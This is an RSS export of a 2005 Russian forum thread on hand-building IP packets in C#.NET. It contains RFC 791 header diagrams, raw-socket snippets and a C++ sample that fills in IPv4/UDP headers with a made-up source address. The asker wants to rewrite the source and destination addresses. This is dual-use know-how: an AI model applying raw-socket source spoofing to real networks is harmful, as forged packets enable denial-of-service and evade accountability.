&nbsp; &nbsp; &nbsp; &nbsp;else</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;rtn = index;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return rtn;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;</div><div class="code_line">}</div></ol></div></div></div></div>]]></description>
        <author>uranik</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567882</guid>
        <pubDate>Fri, 07 Jan 2005 13:31:58 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567882</link>
        <description><![CDATA[Guest: Это реализация на C++<br>
Не мог бы кто нибудь, понимающий в C++ вот это в C#.NET перевести?<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">// IPv4 header</div><div class="code_line">typedef struct ip_hdr</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned char &nbsp;ip_verlen; &nbsp; &nbsp; &nbsp; &nbsp;// 4-bit IPv4 version</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 4-bit header length (in</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 32-bit words)</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned char &nbsp;ip_tos; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // IP type of service</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned short ip_totallength; &nbsp; // Total length</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned short ip_id; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// Unique identifier</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned short ip_offset; &nbsp; &nbsp; &nbsp; &nbsp;// Fragment offset field</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned char &nbsp;ip_ttl; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Time to live</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned char &nbsp;ip_protocol; &nbsp; &nbsp; &nbsp;// Protocol(TCP,UDP etc)</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned short ip_checksum; &nbsp; &nbsp; &nbsp;// IP checksum</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned int &nbsp; ip_srcaddr; &nbsp; &nbsp; &nbsp; // Source address</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned int &nbsp; ip_destaddr; &nbsp; &nbsp; &nbsp;// Source address</div><div class="code_line">} IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR;</div><div class="code_line">&nbsp;</div><div class="code_line">// Define the UDP header</div><div class="code_line">typedef struct udp_hdr</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned short src_portno; &nbsp; &nbsp; &nbsp; // Source port no.</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned short dst_portno; &nbsp; &nbsp; &nbsp; // Dest. port no.</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned short udp_length; &nbsp; &nbsp; &nbsp; // Udp packet length</div><div class="code_line">&nbsp;&nbsp; &nbsp;unsigned short udp_checksum; &nbsp; &nbsp; // Udp checksum (optional)</div><div class="code_line">} UDP_HDR, *PUDP_HDR;</div><div class="code_line">&nbsp;</div><div class="code_line">SOCKET &nbsp; &nbsp;s;</div><div class="code_line">char &nbsp; &nbsp; &nbsp;buf[MAX_BUFFER], // large enough buffer</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; *data=NULL;</div><div class="code_line">IPV4_HDR *v4hdr=NULL;</div><div class="code_line">UDP_HDR &nbsp;*udphdr=NULL;</div><div class="code_line">USHORT &nbsp; sourceport=5000,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; Destport=5001;</div><div class="code_line">int &nbsp; &nbsp; &nbsp;payload=512, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // size of UDP data</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; optval;</div><div class="code_line">SOCKADDR_STORAGE dest;</div><div class="code_line">&nbsp;</div><div class="code_line">// Initialize the IPv4 header</div><div class="code_line">v4hdr = (IPV4_HDR *)buf;</div><div class="code_line">v4hdr-&#62;ip_verlen = (4 &#60;&#60; 4) &#9474; (sizeof(IPV4_HDR) / sizeof(ULONG));</div><div class="code_line">v4hdr-&#62;ip_tos &nbsp; &nbsp;= 0;</div><div class="code_line">v4hdr-&#62;ip_totallength = htons(sizeof(IPV4_HDR) + sizeof(UDP_HDR) +</div><div class="code_line">&nbsp;&nbsp; &nbsp;payload);</div><div class="code_line">v4hdr-&#62;ip_id &nbsp; &nbsp; = 0;</div><div class="code_line">v4hdr-&#62;ip_offset = 0;</div><div class="code_line">v4hdr-&#62;ip_ttl &nbsp; &nbsp;= 8; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Time-to-live is eight</div><div class="code_line">v4hdr-&#62;ip_protocol = IPPROTO_UDP;</div><div class="code_line">v4hdr-&#62;ip_checksum = 0;</div><div class="code_line">v4hdr-&#62;ip_srcaddr &nbsp;= inet_addr(&quot;1.2.3.4&quot;);</div><div class="code_line">v4hdr-&#62;ip_destaddr = inet_addr(&quot;157.32.159.101&quot;);</div><div class="code_line">// Calculate checksum for IPv4 header</div><div class="code_line">// &nbsp; The checksum() function computes the 16-bit one&#39;s</div><div class="code_line">// &nbsp; complement on the specified buffer. See the IPHDRINC</div><div class="code_line">// &nbsp; code sample on the companion CD for its implementation.</div><div class="code_line">v4hdr-&#62;ip_checksum = checksum(v4hdr, sizeof(IPV4_HDR));</div><div class="code_line">&nbsp;</div><div class="code_line">// Initialize the UDP header</div><div class="code_line">udphdr = (UDP_HDR *)&amp;buf[sizeof(IPV4_HDR)];</div><div class="code_line">udphdr-&#62;src_portno = htons(sourceport);</div><div class="code_line">udphdr-&#62;dst_portno = htons(destport);</div><div class="code_line">udphdr-&#62;udp_length = htons(sizeof(UDP_HDR) + payload);</div><div class="code_line">udphdr-&#62;udp_checksum = 0;</div><div class="code_line">&nbsp;</div><div class="code_line">// Initialize the UDP payload to something</div><div class="code_line">data = &amp;buf[sizeof(IPV4_HDR) + sizeof(UDP_HDR)];</div><div class="code_line">memset(data, &#39;^&#39;, payload);</div><div class="code_line">&nbsp;</div><div class="code_line">// Calculate the IPv4 and UDP pseudo-header checksum - this routine</div><div class="code_line">// extracts all the necessary fields from the headers and calculates</div><div class="code_line">// the checksum over it. See the iphdrinc sample for the implementation</div><div class="code_line">// &nbsp; &nbsp;of Ipv4PseudoHeaderChecksum().</div><div class="code_line">udphdr-&#62;udp_checksum = Ipv4PseudoHeaderChecksum(v4hdr, udphdr, data,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; sizeof(IPV4_HDR) + sizeof(UDP_HDR) + payload);</div><div class="code_line">&nbsp;</div><div class="code_line">// Create the raw UDP socket</div><div class="code_line">s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);</div><div class="code_line">&nbsp;</div><div class="code_line">// Set the header include option</div><div class="code_line">optval = 1;</div><div class="code_line">setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&amp;optval, sizeof(optval));</div><div class="code_line">&nbsp;</div><div class="code_line">// Send the data</div><div class="code_line">((SOCKADDR_IN *)&amp;dest)-&#62;sin_family = AF_INET;</div><div class="code_line">((SOCKADDR_IN *)&amp;dest)-&#62;sin_port &nbsp; = htons(destport);</div><div class="code_line">((SOCKADDR_IN *)&amp;dest)-&#62;sin_addr.s_addr = inet_addr(&quot;157.32.159.101&quot;);</div><div class="code_line">&nbsp;</div><div class="code_line">sendto(s, buf, sizeof(IPV4_HDR) + sizeof(UDP_HDR) + payload, 0,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; (SOCKADDR *)&amp;dest, sizeof(dest));</div></ol></div></div></div></div>]]></description>
        <author>Guest</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567861</guid>
        <pubDate>Fri, 07 Jan 2005 13:10:07 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567861</link>
        <description><![CDATA[Guderian: Все равно за тебя никто пакет не сформирует, так что придется его делать целиком или в лоб<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">byte packet[] = new byte[...] {</div><div class="code_line">&nbsp;&nbsp; &nbsp;версия &#60;&#60; 4 + IHL, /*например, 0x45 для версии 4, описываемой указанным RFC и минимального размера заголовка*/</div><div class="code_line">&nbsp;&nbsp; &nbsp;тип сервиса,</div><div class="code_line">&nbsp;&nbsp; &nbsp;размер_пакета &amp; 0xFF,</div><div class="code_line">&nbsp;&nbsp; &nbsp;размер_пакета &#62;&#62; 8,</div><div class="code_line">&nbsp;&nbsp; &nbsp;...</div><div class="code_line">}</div></ol></div></div></div></div><br>
А можно попробовать через BinaryWriter.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">BinaryWriter writer = new BinaryWriter(new MemoryStream());</div><div class="code_line">writer.Write(версия &#60;&#60; 4 + IHL);</div><div class="code_line">writer.Write(тип_сервиса);</div><div class="code_line">writer.Write(размер_пакета);</div><div class="code_line">...</div><div class="code_line">// ((MemoryStream)writer.BaseStream).GetBuffer() вернет итоговый byte[].</div></ol></div></div></div></div>]]></description>
        <author>Guderian</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567852</guid>
        <pubDate>Fri, 07 Jan 2005 12:54:20 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567852</link>
        <description><![CDATA[Guest: Нужно сменить Destanation Address и Sources Address]]></description>
        <author>Guest</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567841</guid>
        <pubDate>Fri, 07 Jan 2005 12:46:34 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567841</link>
        <description><![CDATA[Guest: 3.  SPECIFICATION<br><br>3.1.  Internet Header Format<br><br>  A summary of the contents of the internet header follows:<br><br>                                    <br>    0                   1                   2                   3   <br>    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 <br>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>   |Version|  IHL  |Type of Service|          Total Length         |<br>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>   |         Identification        |Flags|      Fragment Offset    |<br>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>   |  Time to Live |    Protocol   |         Header Checksum       |<br>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>   |                       Source Address                          |<br>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>   |                    Destination Address                        |<br>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>   |                    Options                    |    Padding    |<br>   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br><br>задача стоит изменить хедеры, вижу схему в RFC, но тока как это перекинуть в массив байтов????]]></description>
        <author>Guest</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567825</guid>
        <pubDate>Fri, 07 Jan 2005 12:34:01 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567825</link>
        <description><![CDATA[Guderian: Берешь, например, <a class='tag-url' href='ftp://ftp.rfc-editor.org/in-notes/rfc791.txt' target='_blank'>RFC 791</a>. Читаешь про формат IP-пакета.<br>
Потом рисуешь что-то в таком духе:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">Socket socket = new Socket(AddressFamily.InterNetwork,SocketType.Raw,ProtocolType.Raw);</div><div class="code_line">socket.SetSocketOption(SocketOptionLevel.IP,SocketOptionName.HeaderIncluded,1);</div><div class="code_line">try </div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;byte[] packet = new byte[...]{...формируешь свой пакет...};</div><div class="code_line">&nbsp;&nbsp; &nbsp;socket.SendTo(packet,new IPEndPoint(адрес,порт));</div><div class="code_line">} </div><div class="code_line">finally </div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;socket.Close();</div><div class="code_line">}</div></ol></div></div></div></div><br>
Ну а остальное уж сам додумывай, поскольку цель мне не ясна, значит и большего сказать не смогу.]]></description>
        <author>Guderian</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567718</guid>
        <pubDate>Fri, 07 Jan 2005 11:13:29 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567718</link>
        <description><![CDATA[Guest: Блин, всё равно не понимаю]]></description>
        <author>Guest</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567704</guid>
        <pubDate>Fri, 07 Jan 2005 11:01:09 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567704</link>
        <description><![CDATA[kl: IP-пакет - это просто массив байт, состоящий из заголовка и содержимого. Порядок и значение полей в заголовке определяются RFC - ищи там нужный тебе документ и записывай свой пакет. Только дальше-то ты что с ним собираешься делать]]></description>
        <author>kl</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567698</guid>
        <pubDate>Fri, 07 Jan 2005 10:57:28 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567698</link>
        <description><![CDATA[Guest: А можно по подробнее]]></description>
        <author>Guest</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567697</guid>
        <pubDate>Fri, 07 Jan 2005 10:56:56 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567697</link>
        <description><![CDATA[kl: А в чем проблема? Читаешь RFC, пишешь массив... Только вот зачем]]></description>
        <author>kl</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567688</guid>
        <pubDate>Fri, 07 Jan 2005 10:51:07 +0000</pubDate>
        <title>Как собрать вручную IP пакет</title>
        <link>https://forum.sources.ru/index.php?showtopic=78577&amp;view=findpost&amp;p=567688</link>
        <description><![CDATA[Guest: Кто нибудь может подсказать, как средставми C#.NET, собрать вручную IP пакет?]]></description>
        <author>Guest</author>
        <category>.NET: Распределенные приложения</category>
      </item>
	
      </channel>
      </rss>
	